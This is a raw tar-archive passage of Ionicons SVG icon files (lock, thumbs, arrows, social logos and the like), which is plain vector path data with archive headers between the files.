256c0-8.5-6.9-15.4-15.4-15.4H63.4c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4h46.2c8.5 0 15.4-6.9 15.4-15.4zM448.6 240.6h-46.2c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4h46.2c8.5 0 15.4-6.9 15.4-15.4s-6.9-15.4-15.4-15.4zM152.5 344.1c-4.1 0-8 1.6-10.9 4.5l-32.7 32.7c-2.9 2.9-4.5 6.8-4.5 10.9s1.6 8 4.5 10.9c2.9 2.9 6.8 4.5 10.9 4.5 4.1 0 8-1.6 10.9-4.5l32.7-32.7c6-6 6-15.8 0-21.8-2.9-2.9-6.8-4.5-10.9-4.5zM359.5 167.9c4.1 0 8-1.6 10.9-4.5l32.7-32.7c2.9-2.9 4.5-6.8 4.5-10.9s-1.6-8-4.5-10.9c-2.9-2.9-6.8-4.5-10.9-4.5-4.1 0-8 1.6-10.9 4.5l-32.7 32.7c-2.9 2.9-4.5 6.8-4.5 10.9s1.6 8 4.5 10.9c2.9 2.9 6.8 4.5 10.9 4.5zM130.7 108.9c-2.9-2.9-6.8-4.5-10.9-4.5-4.1 0-8 1.6-10.9 4.5-2.9 2.9-4.5 6.8-4.5 10.9 0 4.1 1.6 8 4.5 10.9l32.7 32.7c2.9 2.9 6.8 4.5 10.9 4.5 4.1 0 8-1.6 10.9-4.5 2.9-2.9 4.5-6.8 4.5-10.9s-1.6-8-4.5-10.9l-32.7-32.7zM370.4 348.6c-2.9-2.9-6.8-4.5-10.9-4.5-4.1 0-8 1.6-10.9 4.5-6 6-6 15.8 0 21.8l32.7 32.7c2.9 2.9 6.8 4.5 10.9 4.5 4.1 0 8-1.6 10.9-4.5 2.9-2.9 4.5-6.8 4.5-10.9s-1.6-8-4.5-10.9l-32.7-32.7zM256 160c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96z"/></svg>ionicons/svg/ios-information-circle-outline.svg000064400000000744151701353760015753 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M235.4 172.2c0-11.4 9.3-19.9 20.5-19.9 11.4 0 20.7 8.5 20.7 19.9s-9.3 20-20.7 20c-11.2 0-20.5-8.6-20.5-20zm1.4 35.7H275V352h-38.2V207.9z"/><path d="M256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3S304.1 436 256 436c-48.1 0-93.3-18.7-127.3-52.7S76 304.1 76 256s18.7-93.3 52.7-127.3S207.9 76 256 76m0-28C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/></svg>ionicons/svg/md-bookmark.svg000064400000000245151701353760012121 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M360 64H152c-22.002 0-40 17.998-40 40v344l144-64 144 64V104c0-22.002-17.998-40-40-40z"/></svg>ionicons/svg/ios-code-working.svg000064400000001371151701353760013077 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M446.1 251.6L332 142.7c-1.2-1.1-2.7-1.7-4.1-1.7s-3 .6-4.1 1.7L310 155.9c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l95.8 91.5-95.8 91.5c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l13.8 13.2c1.2 1.1 2.6 1.7 4.1 1.7 1.5 0 3-.6 4.1-1.7l114.2-109c1.2-1.1 1.9-2.7 1.9-4.3-.1-1.7-.8-3.2-2-4.4zM106.3 256l95.8-91.5c1.2-1.1 1.9-2.7 1.9-4.3 0-1.6-.7-3.2-1.9-4.3l-13.8-13.2c-1.2-1.1-2.7-1.7-4.1-1.7s-3 .6-4.1 1.7l-114.2 109c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l114.2 109c1.2 1.1 2.7 1.7 4.1 1.7 1.5 0 3-.6 4.1-1.7l13.8-13.2c1.2-1.1 1.9-2.7 1.9-4.3 0-1.6-.7-3.2-1.9-4.3L106.3 256z"/><circle cx="256" cy="256" r="22"/><circle cx="192" cy="256" r="22"/><circle cx="320" cy="256" r="22"/></svg>ionicons/svg/md-ribbon.svg000064400000000767151701353760011600 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32c-70.7 0-128 57.3-128 128s57.3 128 128 128 128-57.3 128-128S326.7 32 256 32zm0 208c-44.2 0-80-35.8-80-80s35.8-80 80-80 80 35.8 80 80-35.8 80-80 80zM193.7 307.4c-19.1-8.1-36.2-19.6-50.8-34.3-1.4-1.4-2.8-2.8-4.1-4.3L64 400h96l48 80 48-105.8 25.5-56.2c-8.4 1.3-16.9 2-25.5 2-21.6 0-42.5-4.2-62.3-12.6zM373.3 268.9c-1.3 1.4-2.7 2.9-4.1 4.3-14.6 14.6-31.7 26.2-50.7 34.2L294 361.2l-21.9 48.4L304 480l48-80h96l-74.7-131.1z"/></svg>ionicons/svg/ios-disc.svg000064400000000714151701353760011431 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 165.8c-49.9 0-90.3 40.4-90.3 90.3s40.4 90.2 90.3 90.2 90.3-40.4 90.3-90.2c0-49.9-40.4-90.3-90.3-90.3zm0 130.6c-22.3 0-40.4-18.1-40.4-40.4s18.1-40.4 40.4-40.4 40.4 18.1 40.4 40.4-18.1 40.4-40.4 40.4z"/><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm0 322c-63 0-114-51.1-114-114 0-63 51.1-114 114-114s114 51 114 114-51 114-114 114z"/></svg>ionicons/svg/md-skip-backward.svg000064400000000201151701353760013026 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M170.7 256L448 448V64L170.7 256zM64 64h64v384H64z"/></svg>ionicons/svg/ios-arrow-round-back.svg000064400000000516151701353760013664 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M216.4 163.7c5.1 5 5.1 13.3.1 18.4L155.8 243h231.3c7.1 0 12.9 5.8 12.9 13s-5.8 13-12.9 13H155.8l60.8 60.9c5 5.1 4.9 13.3-.1 18.4-5.1 5-13.2 5-18.3-.1l-82.4-83c-1.1-1.2-2-2.5-2.7-4.1-.7-1.6-1-3.3-1-5 0-3.4 1.3-6.6 3.7-9.1l82.4-83c4.9-5.2 13.1-5.3 18.2-.3z"/></svg>ionicons/svg/md-airplane.svg000064400000000342151701353760012105 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 336v-40L288 192V79.2c0-17.7-14.8-31.2-32-31.2s-32 13.5-32 31.2V192L64 296v40l160-48v113.6l-48 31.2V464l80-16 80 16v-31.2l-48-31.2V288l160 48z"/></svg>ionicons/svg/md-list-box.svg000064400000000420151701353760012050 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M408 64H104c-22.091 0-40 17.908-40 40v304c0 22.092 17.909 40 40 40h304c22.092 0 40-17.908 40-40V104c0-22.092-17.908-40-40-40zM304 368H144v-48h160v48zm64-88H144v-48h224v48zm0-88H144v-48h224v48z"/></svg>ionicons/svg/md-people.svg000064400000001020151701353760011570 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M337.454 232c33.599 0 61.092-27.002 61.092-60 0-32.997-27.493-60-61.092-60s-61.09 27.003-61.09 60c0 32.998 27.491 60 61.09 60zm-162.908 0c33.599 0 61.09-27.002 61.09-60 0-32.997-27.491-60-61.09-60s-61.092 27.003-61.092 60c0 32.998 27.493 60 61.092 60zm0 44C126.688 276 32 298.998 32 346v54h288v-54c0-47.002-97.599-70-145.454-70zm162.908 11.003c-6.105 0-10.325 0-17.454.997 23.426 17.002 32 28 32 58v54h128v-54c0-47.002-94.688-58.997-142.546-58.997z"/></svg>ionicons/svg/ios-lock.svg000064400000000762151701353760011442 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376 192h-24v-46.7c0-52.7-42-96.5-94.7-97.3-53.4-.7-97.3 42.8-97.3 96v48h-24c-22 0-40 18-40 40v192c0 22 18 40 40 40h240c22 0 40-18 40-40V232c0-22-18-40-40-40zM270 316.8v68.8c0 7.5-5.8 14-13.3 14.4-8 .4-14.7-6-14.7-14v-69.2c-11.5-5.6-19.1-17.8-17.9-31.7 1.4-15.5 14.1-27.9 29.6-29 18.7-1.3 34.3 13.5 34.3 31.9 0 12.7-7.3 23.6-18 28.8zM324 192H188v-48c0-18.1 7.1-35.1 20-48s29.9-20 48-20 35.1 7.1 48 20 20 29.9 20 48v48z"/></svg>ionicons/svg/ios-thumbs-down.svg000064400000001645151701353760012762 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M80.7 123.2c-7.5 6.3-16.7 16.1-16.7 31.4 0 13.7 5.7 22.8 10.9 29.1.6 1.2 1.1 2.3 1.6 3.4l.2 1.1c.7 3.5 0 7.1-2 10-3.4 5-5.8 12.3-5.8 25.7 0 11.6 4.8 18.4 9.7 23.2 4.4 4.3 6.1 12.5 4.1 18.3-4.8 13.9-.2 28.4 8.2 37.8 10.5 11.8 20.3 13.2 46.4 11.7 18-1.1 55.5-6.9 80.2-10.8 10.1-1.6 18.9-3 21.6-3.2 12.7-1.3 15.2 0 16.4 4.9.5 2.1-1.9 6.9-4.9 13-4 8.1-9.5 19.2-14.5 35.8-10.1 33.2-9 69.2 2.7 90.2 5.5 9.9 14.8 19.1 26.3 19.1s23.3-2.4 27.9-7.9c3.4-4 2.3-11.6 6.2-26.8 3.1-12.4 7-30.9 12-42 7.5-16.6 39.7-45.1 57-60.4 4.1-3.6 7.6-6.7 10.1-9.1 8.7-8.1 17.6-21.1 25.5-32.7 5.4-7.8 10.4-15.2 13.7-18.5 7.1-7.1 16.6-10.9 22.3-10.9 4.4 0 8-3.6 8-8V88.1c0-4.6-3.7-8.3-8.3-8.3C404 79.8 389 74 373.1 68c-12.2-4.7-24.9-9.5-46.4-12.1-32.4-4-74.2-8.1-112.6-8.1-20.4 0-39.9 2-56.6 3.9-31 3.6-64.2 10.8-75.2 37-4.1 9.7-2.2 17.6.5 23.7.4.8.7 1.7.8 2.6.6 3.3-.6 6.3-2.9 8.2z"/></svg>ionicons/svg/md-square.svg000064400000000402151701353760011607 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.333 64H106.667C83.198 64 64 83.198 64 106.667v298.666C64 428.802 83.198 448 106.667 448h298.666C428.802 448 448 428.802 448 405.333V106.667C448 83.198 428.802 64 405.333 64z"/></svg>ionicons/svg/md-arrow-round-forward.svg000064400000000517151701353760014237 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M284.9 412.6l138.1-134c6-5.8 9-13.7 9-22.4v-.4c0-8.7-3-16.6-9-22.4l-138.1-134c-12-12.5-31.3-12.5-43.2 0-11.9 12.5-11.9 32.7 0 45.2l83 79.4h-214c-17 0-30.7 14.3-30.7 32 0 18 13.7 32 30.6 32h214l-83 79.4c-11.9 12.5-11.9 32.7 0 45.2 12 12.5 31.3 12.5 43.3 0z"/></svg>ionicons/svg/ios-return-right.svg000064400000001023151701353760013133 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M441.5 265.4L381.9 206c-2.6-2.6-6.1-4.1-9.9-4.1-3.7 0-7.3 1.4-9.9 4.1-2.6 2.6-4.1 6.1-4.1 9.9s1.5 7.3 4.1 9.9l.1.1 41.1 40.1H142c-13.2 0-25.8-5.2-35.3-14.7-9.5-9.5-14.7-22-14.7-35.3v-48c0-7.7-6.3-14-14-14s-14 6.3-14 14v48c0 20.8 8.1 40.3 22.9 55.1 14.8 14.8 34.3 22.9 55.1 22.9h261.7L364 334.2c-2.6 2.6-4.1 6.1-4.1 9.9 0 3.7 1.4 7.3 4.1 9.9l.1.1c2.7 2.5 6.2 3.9 9.8 3.9 3.9 0 7.3-1.4 9.9-4.1l57.6-57.4c4.2-4.2 6.5-9.8 6.5-15.7.1-5.8-2.2-11.3-6.4-15.4z"/></svg>ionicons/svg/logo-tumblr.svg000064400000000742151701353760012163 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M321.2 396.3c-11.8 0-22.4-2.8-31.5-8.3-6.9-4.1-11.5-9.6-14-16.4-2.6-6.9-3.6-22.3-3.6-46.4V224h96v-64h-96V48h-61.9c-2.7 21.5-7.5 44.7-14.5 58.6-7 13.9-14 25.8-25.6 35.7-11.6 9.9-25.6 17.9-41.9 23.3V224h48v140.4c0 19 2 33.5 5.9 43.5 4 10 11.1 19.5 21.4 28.4 10.3 8.9 22.8 15.7 37.3 20.5 14.6 4.8 31.4 7.2 50.4 7.2 16.7 0 30.3-1.7 44.7-5.1 14.4-3.4 30.5-9.3 48.2-17.6v-65.6c-20.9 13.7-41.8 20.6-62.9 20.6z"/></svg>ionicons/svg/md-options.svg000064400000001151151701353760012004 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 384h272v32H32zM400 384h80v32h-80zM384 447.5c0 17.949-14.327 32.5-32 32.5-17.673 0-32-14.551-32-32.5v-95c0-17.949 14.327-32.5 32-32.5 17.673 0 32 14.551 32 32.5v95z"/><g><path d="M32 240h80v32H32zM208 240h272v32H208zM192 303.5c0 17.949-14.327 32.5-32 32.5-17.673 0-32-14.551-32-32.5v-95c0-17.949 14.327-32.5 32-32.5 17.673 0 32 14.551 32 32.5v95z"/></g><g><path d="M32 96h272v32H32zM400 96h80v32h-80zM384 159.5c0 17.949-14.327 32.5-32 32.5-17.673 0-32-14.551-32-32.5v-95c0-17.949 14.327-32.5 32-32.5 17.673 0 32 14.551 32 32.5v95z"/></g></svg>ionicons/svg/ios-arrow-dropup-circle.svg000064400000000535151701353760014410 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 464c114.9 0 208-93.1 208-208S370.9 48 256 48 48 141.1 48 256s93.1 208 208 208zm0-244.5l-81.1 81.9c-7.5 7.5-19.8 7.5-27.3 0s-7.5-19.8 0-27.3l95.7-95.4c7.3-7.3 19.1-7.5 26.6-.6l94.3 94c3.8 3.8 5.7 8.7 5.7 13.7 0 4.9-1.9 9.9-5.6 13.6-7.5 7.5-19.7 7.6-27.3 0l-81-79.9z"/></svg>ionicons/svg/ios-arrow-dropleft-circle.svg000064400000000541151701353760014713 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm43.4 289.1c7.5 7.5 7.5 19.8 0 27.3-3.8 3.8-8.7 5.6-13.6 5.6s-9.9-1.9-13.7-5.7l-94-94.3c-6.9-7.6-6.7-19.3.6-26.6l95.4-95.7c7.5-7.5 19.7-7.6 27.3 0 7.5 7.5 7.6 19.7 0 27.3l-81.9 81 79.9 81.1z"/></svg>ionicons/svg/ios-megaphone.svg000064400000002033151701353760012446 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M90.1 187c0-33.4 17.1-62.8 43.5-78.9 2.8-1.7 1.6-6-1.7-6-38.2 0-68.5 30.4-74.1 69.8-5.6.9-9.9 7.3-9.9 14.9 0 8 4.7 14.3 10.8 14.8 6.7 33.8 33.8 55.4 61.2 64.5 4.3.9 7.1-4.5 3.8-7.5-19.6-17.7-33.6-44.3-33.6-71.6z"/><path d="M450.2 102.8c-1-2.7-2.1-5.2-3.2-7.7-6-13.4-13.4-24.2-21.7-32.2-10.5-9.7-21.4-14.9-34.8-14.9-13.5 0-21.5 5.2-25.8 7.8-43.1 25.9-112.3 46-154 46s-39.4.2-39.4.2c-31.6 14-54.8 46.9-54.8 85 0 34.2 17.8 64.2 44.4 80 12.1 10.1 23.6 8.8 21.1 22.2-2.5 13.4-22.5 97.5-25 115s-2.9 27.5 4 36c7 8.5 49.5 23.8 68 23.8s13.8-8.7 13.8-43.8-9.3-131.7 16.5-131.7c48.3 0 73.5 17.3 111.3 31.7 9 3.4 14.1 4.7 20.1 4.7 6 0 18.7-1.9 34.7-18.2 9.2-9.4 15.7-18.8 21.7-32.2 1.1-2.6 2.2-5.2 3.3-8 8.9-23.2 13.7-51.9 13.7-81.9-.1-29.8-4.9-58.6-13.9-81.8zm-26.6 157c-6.4 15.7-17.6 28.2-26.9 28.2-9.3 0-17.8-12.5-24.2-28.2-7.5-18.3-12.3-45-12.3-74.7 0-29.8 4.8-56.6 12.3-74.9 6.4-15.6 14.9-25 24.1-25 9.3 0 20.3 9.5 26.8 25 7.6 18.3 14.5 45.1 14.5 74.9.1 29.7-6.8 56.4-14.3 74.7z"/></svg>ionicons/svg/ios-refresh.svg000064400000000721151701353760012143 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M433 288.8c-7.7 0-14.3 5.9-14.9 13.6-6.9 83.1-76.8 147.9-161.8 147.9-89.5 0-162.4-72.4-162.4-161.4 0-87.6 70.6-159.2 158.2-161.4 2.3-.1 4.1 1.7 4.1 4v50.3c0 12.6 13.9 20.2 24.6 13.5L377 128c10-6.3 10-20.8 0-27.1l-96.1-66.4c-10.7-6.7-24.6.9-24.6 13.5v45.7c0 2.2-1.7 4-3.9 4C148 99.8 64 184.6 64 288.9 64 394.5 150.1 480 256.3 480c100.8 0 183.4-76.7 191.6-175.1.8-8.7-6.2-16.1-14.9-16.1z"/></svg>ionicons/svg/ios-happy.svg000064400000000654151701353760011633 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm72 152c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-144 0c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm72 169c-44.7 0-82.3-29.9-94.2-70.7-1.5-5.1 2.3-10.3 7.7-10.3h172.9c5.3 0 9.2 5.1 7.7 10.3-11.8 40.8-49.4 70.7-94.1 70.7z"/></svg>ionicons/svg/ios-flask.svg000064400000001111151701353760011577 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.4 354.4L320.7 159.9c-.4-.6-.6-1.3-.6-2.1V80c0-2.2 1.8-4 4-4 6.6 0 12-5.4 12-12v-4c0-6.6-5.4-12-12-12H187.8c-6.6 0-12 5.4-12 12v4c0 6.6 5.4 12 12 12 2.2 0 4 1.8 4 4v77.9c0 .7-.2 1.4-.6 2L75.7 354.4c-8.4 15.8-12.5 31.4-12.1 45.6 1.1 36.5 28.8 64 65.2 64h256.6c36.4 0 62.3-27.6 63.2-64 .2-14.2-2.7-29.7-11.2-45.6zM161.8 288c-6.2 0-10.1-6.8-6.9-12.1l60.5-101.7c2.9-4.9 4.5-10.6 4.5-16.3V80c0-1.4-.1-2.7-.2-4h72.7c-.2 1.3-.2 2.6-.2 4v77.9c0 5.8 1.6 11.5 4.6 16.4l60.4 101.6c3.2 5.3-.7 12.1-6.9 12.1H161.8z"/></svg>ionicons/svg/ios-sad.svg000064400000001073151701353760011255 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256c0 114.7 93.3 208 208 208 114.9 0 208-93.1 208-208 0-114.7-93.3-208-208-208zm-73.9 152.1c14.8-1.2 27 11.1 25.9 25.9-.9 11.6-10.3 21.1-22 22-14.8 1.2-27-11.1-25.9-25.9.9-11.7 10.3-21.1 22-22zm-.7 151.9c-11.5 0-19.3-11.8-14.7-22.4 15-34.5 49.2-58.6 89.3-58.6s74.2 24.1 89.3 58.6c4.6 10.6-3.1 22.4-14.7 22.4 0 0-34.7-4-73.1-4-38.5 0-76.1 4-76.1 4zm148.5-104.1c-14.8 1.2-27-11.1-25.9-25.9.9-11.6 10.3-21.1 22-22 14.8-1.2 27 11.1 25.9 25.9-.9 11.7-10.3 21.1-22 22z"/></svg>ionicons/svg/md-lock.svg000064400000000664151701353760011251 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376 186h-20v-40c0-55-45-100-100-100S156 91 156 146v40h-20c-22.002 0-40 17.998-40 40v200c0 22.002 17.998 40 40 40h240c22.002 0 40-17.998 40-40V226c0-22.002-17.998-40-40-40zM256 368c-22.002 0-40-17.998-40-40s17.998-40 40-40 40 17.998 40 40-17.998 40-40 40zm62.002-182H193.998v-40c0-34.004 28.003-62.002 62.002-62.002 34.004 0 62.002 27.998 62.002 62.002v40z"/></svg>ionicons/svg/ios-thumbs-up.svg000064400000001657151701353760012442 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M431.3 388.8c7.5-6.3 16.7-16.1 16.7-31.4 0-13.7-5.7-22.8-10.9-29.1-.6-1.2-1.1-2.3-1.6-3.4l-.2-1.1c-.7-3.5 0-7.1 2-10 3.4-5 5.8-12.3 5.8-25.7 0-11.6-4.8-18.4-9.7-23.2-4.4-4.3-6.1-12.5-4.1-18.3 4.8-13.9.2-28.4-8.2-37.8-10.5-11.8-20.3-13.2-46.4-11.7-18 1.1-55.5 6.9-80.2 10.8-10.1 1.6-18.9 3-21.6 3.2-12.7 1.3-15.2 0-16.4-4.9-.5-2.1 1.9-6.9 4.9-13 4-8.1 9.5-19.2 14.5-35.8 10.1-33.2 9-69.2-2.7-90.2-5.5-9.9-14.8-19.1-26.3-19.1S223.6 50.5 219 56c-3.4 4-2.3 11.6-6.2 26.8-3.1 12.4-7 30.9-12 42-7.5 16.6-39.7 45.1-57 60.4-4.1 3.6-7.6 6.7-10.1 9.1-8.7 8.1-17.6 21.1-25.5 32.7-5.4 7.8-10.4 15.2-13.7 18.5-7.1 7.1-16.6 10.9-22.3 10.9-4.4 0-8 3.6-8 8v159.5c0 4.6 3.7 8.3 8.3 8.3 35.5 0 50.5 5.8 66.4 11.8 12.2 4.7 24.9 9.5 46.4 12.1 32.4 4 74.2 8.1 112.6 8.1 20.4 0 39.9-2 56.6-3.9 31-3.6 64.2-10.8 75.2-37 4.1-9.7 2.2-17.6-.5-23.7-.4-.8-.7-1.7-.8-2.6-.6-3.3.6-6.3 2.9-8.2z"/></svg>ionicons/svg/ios-phone-landscape.svg000064400000001007151701353760013544 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 176.3v158.5c0 18.3 14.6 33.1 32.9 33.1h381c18.4 0 34.1-14.8 34.1-33.1V176.3c0-18.3-15.7-32.3-34.1-32.3h-381C46.6 144 32 158 32 176.3zM55 271v-30c0-2.2 1.8-4 4-4s4 1.8 4 4v30c0 2.2-1.8 4-4 4s-4-1.8-4-4zm414-15.5c0 9.6-7.8 17.4-17.4 17.4-9.6 0-17.4-7.8-17.4-17.4 0-9.6 7.8-17.4 17.4-17.4 9.6 0 17.4 7.8 17.4 17.4zM424 160v192H83V160h341z"/><path d="M441.6 255.5c0 5.5 4.5 10 9.9 10 5.5 0 10-4.5 10-10s-4.5-10-10-10c-5.4.1-9.9 4.5-9.9 10z"/></svg>ionicons/svg/ios-phone-portrait.svg000064400000000741151701353760013462 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M335.7 32H177.1C158.8 32 144 46.6 144 64.9v381c0 18.4 14.8 34.1 33.1 34.1h158.5c18.3 0 32.3-15.7 32.3-34.1v-381C368 46.6 354 32 335.7 32zM241 55h30c2.2 0 4 1.8 4 4s-1.8 4-4 4h-30c-2.2 0-4-1.8-4-4s1.8-4 4-4zm15.5 410c-9.6 0-17.4-7.8-17.4-17.4 0-9.6 7.8-17.4 17.4-17.4 9.6 0 17.4 7.8 17.4 17.4 0 9.6-7.8 17.4-17.4 17.4zm93.5-49H162c-1.1 0-2-.9-2-2V85c0-1.1.9-2 2-2h188c1.1 0 2 .9 2 2v329c0 1.1-.9 2-2 2z"/></svg>ionicons/svg/logo-markdown.svg000064400000000653151701353760012501 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M447.659 96H64.341C46.504 96 32 110.484 32 128.308v255.349C32 401.493 46.504 416 64.341 416h383.318C465.496 416 480 401.493 480 383.656V128.308C480 110.484 465.496 96 447.659 96zM284.023 352h-56.048v-96l-42.04 53.878L143.913 256v96H87.869V160h56.044l42.022 67.98 42.04-67.98h56.048v192zm83.657 0l-69.635-96h42v-96h56.043v96h42.027l-70.453 96h.018z"/></svg>ionicons/svg/ios-build.svg000064400000001375151701353760011612 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M441.1 131.1l-44.9 45.1c-.9.9-2.3 1.3-3.5 1.1l-46.4-8.4c-1.6-.3-2.9-1.6-3.2-3.2l-8.3-46.4c-.2-1.3.2-2.6 1.1-3.5l44.8-45c3.5-3.5 3-9.3-1-12.1-10.1-7.2-22.1-10.7-31.8-10.7-.7 0-1.4 0-2 .1-12.5.7-39.3 7.7-60 29.7-20.1 21.2-41.1 60.6-22.5 104.5 2.2 5.3 4.7 12.3-2.7 19.7C253.1 209.4 61 390.3 61 390.3c-18 15.5-16.7 44.2-.1 60.9 8.5 8.4 20 12.8 31.3 12.8 11.1 0 21.9-4.2 29.6-13.1 0 0 179.4-191.1 188.2-199.8 4-3.9 7.7-5.1 11.1-5.1 3.3 0 6.3 1.2 8.6 2.4 9.9 5.1 21 7.4 32.4 7.4 26.8 0 55-12.4 72.2-29.6 24.4-24.4 28.9-48 29.6-60.1.6-9.9-2.2-22.6-10.7-34.2-2.9-3.8-8.6-4.2-12.1-.8zM102.5 429.3c-5.5 5.4-14.4 5.4-19.9 0-5.4-5.5-5.4-14.4 0-19.9 5.5-5.4 14.4-5.4 19.9 0 5.4 5.6 5.4 14.5 0 19.9z"/></svg>ionicons/svg/ios-create.svg000064400000001341151701353760011747 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M404.3 86l-202 202c-1.5 1.5-2.3 3.5-2.3 5.6v26.5c0 4.4 3.6 7.9 7.9 7.9h26.3c2.1 0 4.2-.8 5.7-2.3l202.1-202c3.1-3.1 3.1-8.1 0-11.2L415.5 86c-3.1-3.1-8.1-3.1-11.2 0zM475.6 67l-14.4-14.4-.2-.2c-3.1-2.7-7.2-4.4-11.5-4.4-4.4 0-8.5 1.7-11.6 4.5l-11.3 11.4c-1.5 1.6-1.5 4.1 0 5.6L437 79.9l21.7 21.7c1.6 1.6 4.1 1.6 5.7 0l11.3-11.3c2.8-3.1 4.4-7.1 4.4-11.6-.1-4.4-1.7-8.6-4.5-11.7z"/><g><path d="M250 342c-3 3-7.1 4.7-11.3 4.7H197.3c-8.8 0-16-7.2-16-16V289.2c0-4.2 1.7-8.3 4.7-11.3l.8-.8 147.6-147.6c2.5-2.5.7-6.8-2.8-6.8H90.7C58.3 122.7 32 149 32 181.4v224c0 32.4 26.3 58.7 58.7 58.7h256c32.4 0 58.7-26.3 58.7-58.7v-209c0-3.6-4.3-5.3-6.8-2.8L250.8 341.2l-.8.8z"/></g></svg>ionicons/svg/ios-arrow-forward.svg000064400000000373151701353760013304 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M294.1 256L167 129c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.3 34 0L345 239c9.1 9.1 9.3 23.7.7 33.1L201.1 417c-4.7 4.7-10.9 7-17 7s-12.3-2.3-17-7c-9.4-9.4-9.4-24.6 0-33.9l127-127.1z"/></svg>ionicons/svg/ios-tablet-landscape.svg000064400000000726151701353760013715 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M39 103c-4.5 4.5-7 10.6-7 16.9V392c0 6.4 2.5 12.4 7 16.9 4.5 4.5 10.6 7 16.9 7H456c6.4 0 12.4-2.5 16.9-7 4.5-4.5 7-10.6 7-16.9V119.9c0-6.4-2.5-12.4-7-16.9-4.5-4.5-10.6-7-16.9-7H55.9c-6.3 0-12.4 2.5-16.9 7zm9.7 153.4c0-3.9 3.1-7 7-7s7 3.1 7 7-3.1 7-7 7c-3.8 0-7-3.2-7-7zM470 256c0 7.7-6.5 14-14.1 14-7.5 0-14-6.2-14-14 0-7.7 6.4-14.1 14-14.1 7.6.1 14.1 6.4 14.1 14.1zm-38-144v288H80V112h352z"/></svg>ionicons/svg/logo-facebook.svg000064400000000544151701353760012427 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M426.8 64H85.2C73.5 64 64 73.5 64 85.2v341.6c0 11.7 9.5 21.2 21.2 21.2H256V296h-45.9v-56H256v-41.4c0-49.6 34.4-76.6 78.7-76.6 21.2 0 44 1.6 49.3 2.3v51.8h-35.3c-24.1 0-28.7 11.4-28.7 28.2V240h57.4l-7.5 56H320v152h106.8c11.7 0 21.2-9.5 21.2-21.2V85.2c0-11.7-9.5-21.2-21.2-21.2z"/></svg>ionicons/svg/ios-jet.svg000064400000000521151701353760011265 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M464 48s-19.8 1.4-53.1 27.2c-15.5 12-162.2 120.6-162.2 120.6L89 187.9l-41 36.5 102 51.2-8 10.1-81.6 4.1-6.7 33.6 60.6 47.2-26.7 53.6 53.7-26.5 